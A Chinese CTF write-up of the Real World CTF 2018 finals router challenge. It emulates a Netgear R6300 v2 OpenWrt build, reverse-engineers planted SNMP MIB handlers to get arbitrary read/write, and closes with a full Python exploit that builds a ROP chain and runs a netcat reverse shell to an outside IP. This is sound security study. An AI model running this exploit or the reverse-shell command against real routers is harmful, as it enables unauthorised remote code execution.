美文网首页CTF Re&&PwnCTF-PWN
Real World Finals 2018 Router

Real World Finals 2018 Router

作者: Kirin_say | 来源:发表于2019-03-07 10:44 被阅读46次

    最近时间比较多,把去年Real World总决赛的路由器重新调了一遍


    router

    Building Environment

    因为我最后没有拿路由器,所以需要先搭建好整个模拟路由环境启动snmp服务
    路由器版本:

    Netgear R6300 v2
    #https://openwrt.org/toh/netgear/netgear_r6300_v2
    

    首先下载openwrt的源码(18.06.1和18.06.2皆可,只是最后EXP中偏移可能不同)
    配置config:

    Target System: BCM47XX/53XX
    Target Profile: Netgear R6300 v2
    Target Images: squashfs //生成文件系统即可
    Development: gdb&&gdbserver //便于后续调试
    

    而后保存配置并编译
    在编译好的文件中找到编译好的文件系统:

    # ls
    bin  etc  mnt      proc  root  sys  usr  www
    dev  lib  overlay  rom   sbin  tmp  var
    

    有两个思路:

    通过文件系统制作镜像,再用qemu启动 #没有成功
    在qemu启动的arm虚拟机或者可以运行arm的环境下chroot开启整个环境
    

    我选择直接在树莓派中搭建环境
    (也可以在qemu system mode下的arm虚拟机中启动,后面有说明)
    将文件系统整个放入树莓派中(包括比赛的两个ipk包):
    而后配置chroot环境:

    sudo mount proc chroot_dir/proc -t proc
    sudo mount sysfs  chroot_dir/sys -t sysfs
    cp  /etc/hosts  chroot_dir/etc/hosts  #配置网络环境
    编辑 chroot_dir/etc/resolv.conf:  #配置DNS环境
    nameserver 8.8.8.8
    

    开启chroot环境:

    sudo chroot  .  ./bin/sh
    

    而后安装比赛的snmp环境:

    opkg install ./libnetsnmp_5.8-1_arm_cortex-a9.ipk
    opkg install ./snmpd_5.8-1_arm_cortex-a9.ipk
    #可能存在报错无法建立配置文件,在var下建立run文件夹即可
    

    确认snmp服务启动:
    路由器环境端:

    / # netstat -anp|grep snmpd
    udp        0      0 0.0.0.0:161             0.0.0.0:*                           1922/snmpd
    udp        0      0 :::161                  :::*                                1922/snmpd
    unix  2      [ ACC ]     STREAM     LISTENING      18493 1922/snmpd          /var/run/agentx.sock
    

    本机端:

    kirin@kirin-virtual-machine:~$ snmpwalk -v 1 -c public 192.168.137.33  .1
    iso.3.6.1.4.1.2021.13.32.1.0 = INTEGER: 0
    iso.3.6.1.4.1.2021.13.32.2.0 = INTEGER: 1996043560
    End of MIB
    

    同样的,在qemu system模式下启动的arm虚拟机也可以启动服务:

    下载内核&&镜像
    https://people.debian.org/~aurel32/qemu/armhf/
    配置qemu虚拟机网络:
    https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/
    启动qemu虚拟机:
    sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"  -net nic,macaddr=00:16:3e:00:00:01 -net tap 
    启动服务后同样配置chroot环境运行即可
    

    Find R/W at Any Address in MIB

    在搭建的路由器环境下gdbserver运行snmpd,IDA下动态调试追踪程序流
    可以看到snmp服务会先初始化mib,agent等环境:

    LOAD:000125B8 BL              init_mib_modules
    LOAD:000125BC LDR             R0, [R10]
    LOAD:000125C0 BL              init_snmp
    LOAD:000125C4 BL              init_master_agent
    

    在init_mib_modules中可以看到:

    int init_mib_modules()
    {
      int result; // r0
      int v1; // r3
    
      result = should_init();
      if ( result )
        result = j_init_greatSensors();
      v1 = dword_1102C;
      dword_11028 = 1;
      if ( !dword_1102C )
      {
        dword_1102C = 1;
        result = snmp_register_callback(v1, 2, (int)sub_9D4);
        if ( result )
          result = snmp_log(3, "error registering for SHUTDOWN callback for mib modules\n");
      }
      return result;
    }
    

    其会先调用init_greatSensors()注册回调函数:

    LOAD:000008E0 init_greatSensors                       ; CODE XREF: j_init_greatSensors+8↑j
    LOAD:000008E0                                         ; DATA XREF: LOAD:000002D8↑o ...
    LOAD:000008E0
    LOAD:000008E0 var_70          = -0x70
    LOAD:000008E0 var_64          = -0x64
    LOAD:000008E0 var_60          = -0x60
    LOAD:000008E0 var_38          = -0x38
    LOAD:000008E0
    LOAD:000008E0                 LDR             R12, =(dword_A88 - 0x8FC)
    LOAD:000008E4                 STMFD           SP!, {R4,R5,LR}
    LOAD:000008E8                 SUB             SP, SP, #0x64
    LOAD:000008EC                 ADD             LR, SP, #0x70+var_60
    LOAD:000008F0                 LDR             R5, =(_GLOBAL_OFFSET_TABLE_ - 0x90C)
    LOAD:000008F4                 ADD             R12, PC, R12 ; dword_A88
    LOAD:000008F8                 MOV             R4, R12
    LOAD:000008FC                 ADD             R12, R12, #0x28
    LOAD:00000900                 LDMIA           R4!, {R0-R3}
    LOAD:00000904                 ADD             R5, PC, R5 ; _GLOBAL_OFFSET_TABLE_
    LOAD:00000908                 STMIA           LR!, {R0-R3}
    LOAD:0000090C                 LDMIA           R4!, {R0-R3}
    LOAD:00000910                 STMIA           LR!, {R0-R3}
    LOAD:00000914                 LDMIA           R4, {R0,R1}
    LOAD:00000918                 MOV             R4, #3
    LOAD:0000091C                 STMIA           LR, {R0,R1}
    LOAD:00000920                 ADD             LR, SP, #0x70+var_38
    LOAD:00000924                 LDMIA           R12!, {R0-R3}
    LOAD:00000928                 STMIA           LR!, {R0-R3}
    LOAD:0000092C                 LDMIA           R12!, {R0-R3}
    LOAD:00000930                 STMIA           LR!, {R0-R3}
    LOAD:00000934                 ADD             R2, SP, #0x70+var_60
    LOAD:00000938                 LDMIA           R12, {R0,R1}
    LOAD:0000093C                 LDR             R3, =(off_10FFC - 0x10FAC)
    LOAD:00000940                 STMIA           LR, {R0,R1}
    LOAD:00000944                 LDR             R0, =(aGreatmiscsenso - 0x958)
    LOAD:00000948                 LDR             R3, [R5,R3] ; handle_greatMiscSensorsDevice
    LOAD:0000094C                 STR             R4, [SP,#0x70+var_70]
    LOAD:00000950                 ADD             R0, PC, R0 ; "greatMiscSensorsDevice"
    LOAD:00000954                 STR             R3, [SP,#0x70+var_64]
    LOAD:00000958                 MOV             R3, #0xA
    LOAD:0000095C                 LDR             R1, [SP,#0x70+var_64]
    LOAD:00000960                 BL              netsnmp_create_handler_registration
    LOAD:00000964                 BL              netsnmp_register_scalar
    LOAD:00000968                 LDR             R3, =(off_10FF0 - 0x10FAC)
    LOAD:0000096C                 ADD             R2, SP, #0x70+var_38
    LOAD:00000970                 LDR             R0, =(aGreatmiscsenso_0 - 0x980)
    LOAD:00000974                 LDR             R3, [R5,R3] ; handle_greatMiscSensorsIndex
    LOAD:00000978                 ADD             R0, PC, R0 ; "greatMiscSensorsIndex"
    LOAD:0000097C                 STR             R4, [SP,#0x70+var_70]
    LOAD:00000980                 STR             R3, [SP,#0x70+var_64]
    LOAD:00000984                 MOV             R3, #0xA
    LOAD:00000988                 LDR             R1, [SP,#0x70+var_64]
    LOAD:0000098C                 BL              netsnmp_create_handler_registration
    LOAD:00000990                 BL              netsnmp_register_scalar
    LOAD:00000994                 MOV             R0, #0x78 ; 'x' ; size_t
    LOAD:00000998                 BL              malloc
    LOAD:0000099C                 LDR             R3, =(vla_str - 0x9AC)
    LOAD:000009A0                 MOV             R2, #0
    LOAD:000009A4                 ADD             R3, PC, R3 ; vla_str
    LOAD:000009A8                 STR             R0, [R3,#(mib_address - 0x11020)]
    LOAD:000009AC                 STR             R2, [R3]
    LOAD:000009B0                 ADD             SP, SP, #0x64
    LOAD:000009B4                 LDMFD           SP!, {R4,R5,PC}
    LOAD:000009B4 ; End of function init_greatSensors
    

    可以看到其注册了两个回调函数,动态调试下看到注册过程:

    int __fastcall sub_76F59344(int a1, int a2, int a3, int a4)
    {
      int v4; // r5@1
      int v5; // r6@1
      int v6; // r7@1
      int v7; // r4@1
      int v8; // r5@2
    
      v4 = a1;
      v5 = a3;
      v6 = a4;
      v7 = ((int (__cdecl *)(int, int, int))unk_76F4D74C)(a1, a2, a3);
      if ( v7 )
      {
        v8 = ((int (__fastcall *)(int, int, int, int))unk_76F4C0D8)(v4, v7, v5, v6);
        if ( !v8 )
          ((void (__fastcall *)(int))unk_76F4C228)(v7);
      }
      else
      {
        v8 = 0;
      }
      return v8;
    }
    

    首先是写入函数地址:


    address

    而后函数名称:


    function name
    而后mib对象对应的OID:
    OID

    可以看到此OID:1.3.6.1.4.1.2021.13.32.2.0
    当利用snmpset/snmpget对此对象进行读写操作时,会利用netsnmp_call_handler函数处理对象,最终调用对应此OID的回调函数:handle_greatMiscSensorsDevice函数
    netsnmp_call_handler关键部分:

    v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
    if ( !v10 )
            break;
    se_find_label_in_slist((int)"agent_mode", *v6);
    result = v10(v8, v9, v6, v7);
    v12 = v8[2];
    

    同样另一个回调函数handle_greatMiscSensorsIndex对应OID:


    OID

    即:1.3.6.1.4.1.2021.13.32.1.0
    这时候关注两个回调函数,发现了任意地址读写:
    handle_greatMiscSensorsDevice:

    int __fastcall handle_greatMiscSensorsDevice(int a1, int a2, signed int *a3, _DWORD *a4)
    {
      signed int v4; // r4
      int result; // r0
      int v6; // r0
      int v7; // r3
      const char *v8; // r2
      int v9; // r1
    
      v4 = *a3;
      if ( *a3 == 2 )
      {
        if ( vla_str <= 29 )
        {
          *(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
          return 0;
        }
    LABEL_15:
        netsnmp_set_request_error();
        return 0;
      }
      if ( *a3 > 2 )
      {
        if ( v4 > 5 )
        {
          if ( v4 != 160 )
            goto LABEL_5;
          v6 = *a4;
          if ( vla_str > 29 )
          {
            v7 = 7;
            v9 = 4;
            v8 = "Go Back";
          }
          else
          {
            v7 = 4;
            v8 = (const char *)(mib_address + 4 * vla_str);
            v9 = 2;
          }
          snmp_set_var_typed_value(v6, v9, (int)v8, v7);
        }
        return 0;
      }
      if ( v4 )
      {
        if ( v4 != 1 )
        {
    LABEL_5:
          snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
          return 5;
        }
        return 0;
      }
      result = netsnmp_check_vb_type(*a4, 2);
      if ( result )
        goto LABEL_15;
      return result;
    }
    

    handle_greatMiscSensorsIndex:

    int __fastcall handle_greatMiscSensorsIndex(int a1, int a2, signed int *a3, _DWORD *a4)
    {
      signed int v4; // r4
      int result; // r0
    
      v4 = *a3;
      if ( *a3 == 2 )
      {
        vla_str = **(_DWORD **)(*a4 + 16);
        return 0;
      }
      if ( *a3 > 2 )
      {
        if ( v4 > 5 )
        {
          if ( v4 != 0xA0 )
            goto LABEL_5;
          snmp_set_var_typed_value(*a4, 2, (int)&vla_str, 4);// (netsnmp_variable_list *newvar, u_char type, const void *val_str, size_t val_len)
        }
        return 0;
      }
      if ( v4 )
      {
        if ( v4 != 1 )
        {
    LABEL_5:
          snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
          return 5;
        }
        return 0;
      }
      result = netsnmp_check_vb_type(*a4, 2);
      if ( result )
      {
        netsnmp_set_request_error();
        return 0;
      }
      return result;
    }
    

    可以看到handle_greatMiscSensorsDevice中:
    当使用snmpset写对象时,

    #*a3从0循环->0 1 2 3 0 1 2 3......
      if ( *a3 == 2 )
      {
        if ( vla_str <= 29 )
        {
          *(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
          return 0;
        }
    

    mid_address是在snmp服务启动mib初始化时在init_greatSensors中:

    result = malloc(0x78u);
    mib_address = (int)result;
    vla_str = 0;
    

    而val_str在handle_greatMiscSensorsIndex中可以进行设置:

    vla_str = **(_DWORD **)(*a4 + 16);
    

    即我们对OID对象1.3.6.1.4.1.2021.13.32.1.0设置的值
    所以当我们依次调用handle_greatMiscSensorsIndex进行设置vla_str,此值只需小于29(在这里设置为负数即可),而后调用handle_greatMiscSensorsDevice即可实现任意地址写
    任意地址读相同原理,当snmpget读取对象时,会调用:

    #v8 = (const char *)(mib_address + 4 * vla_str);
    #这里同样检测vla_str是否大于29,设置为负数即可
    snmp_set_var_typed_value(v6, v9, (int)v8, v7)
    

    即会将对象的值设置我们构造地址处的值
    而后取出对象value返回给snmpget完成任意地址读

    POC

    首先需要leak libc
    想到注册回调函数位置
    利用任意地址读找到注册函数保存地址来leak libc

    hex(0x76F5F9F0-0x76F5F40c)=0x5e4
    

    而后再次利用handle来劫持程序流,即netsnmp_call_handler中:

    v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
    if ( !v10 )
            break;
    se_find_label_in_slist((int)"agent_mode", *v6);
    result = v10(v8, v9, v6, v7);
    v12 = v8[2];
    

    这时候只需要事先布置好一条ROP链,最后将handle改为我们的rop chain地址即可劫持程序流,最终达到RCE:

    ROPgadget  --binary ./libc.so 
    ......
    0x000596bc : ldr r3, [pc, #0x3c] ; ldr r2, [pc, #0x3c] ; add r3, pc, r3 ; ldr r0, [pc, r2] ; ldr r3, [r3] ; blx r3
    ......
    在这里可以先将r3,r2值分别设置为&system function,&shell
    修改handle并再次对snmp对象操作便可达到RCE
    #也可以选择其他ROP链,构造可以system(shell)即可
    

    最终POC:

    #针对我模拟的路由环境,具体情况可能需要修改偏移
    from pwn import *
    import sys
    import os
    #context.log_level="debug"
    def read(ip,offset):
       cmd1="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
       cmd2="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0"   %ip
       os.system(cmd1)
       p2=process(cmd2,shell=True)
       p2.recvuntil("INTEGER: ")
       leak=int(p2.recvuntil("\n").strip())
       p2.close()
       return leak
    
    def write(ip,offset,note):
       cmd1="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
       cmd2="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0 i %s"  %(ip,note)
       os.system(cmd1)
       sleep(0.5)
       os.system(cmd2)
    
    def get_shell(ip):
       cmd="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0"   %ip
       os.system(cmd)
    
    if __name__=="__main__":
        ip=sys.argv[1]
        #leak addr
        handle_addr=read(ip,-0x5e4)
        mibso_base=handle_addr-0x818
        libcso_base=handle_addr+0x507e8
        log.info("mibso_base="+hex(mibso_base))
        log.info("libcso_base="+hex(libcso_base))
        system_addr=libcso_base+0x43210
        ropchain_addr=libcso_base+0x596bc
        r3_addr=libcso_base+0x80394
        r2_addr=libcso_base+0x80398
        
        #build rop chain
        base=mibso_base+0xd29f0
        cmd_addr=libcso_base+0x80420
        write(ip,r3_addr-base,system_addr)
        write(ip,r2_addr-base,cmd_addr)
        cmd="nc -e /bin/sh 192.168.160.131 1234\x00" #the shell you want run in router
        #padding
        cmd+="1"
        time=len(cmd)/4
        cmd=cmd.ljust((time+1)*4,"1")
        for i in range(time):
              write(ip,cmd_addr+i*4-base,u32(cmd[i*4:i*4+4]))
        write(ip,-0x5e4,ropchain_addr)
        get_shell(ip)
    

    Run POC&&Get Shell

    python payload.py  router_ip
    
    PWN

    相关文章

      网友评论

        本文标题:Real World Finals 2018 Router

        本文链接:https://www.haomeiwen.com/subject/mjhyuqtx.html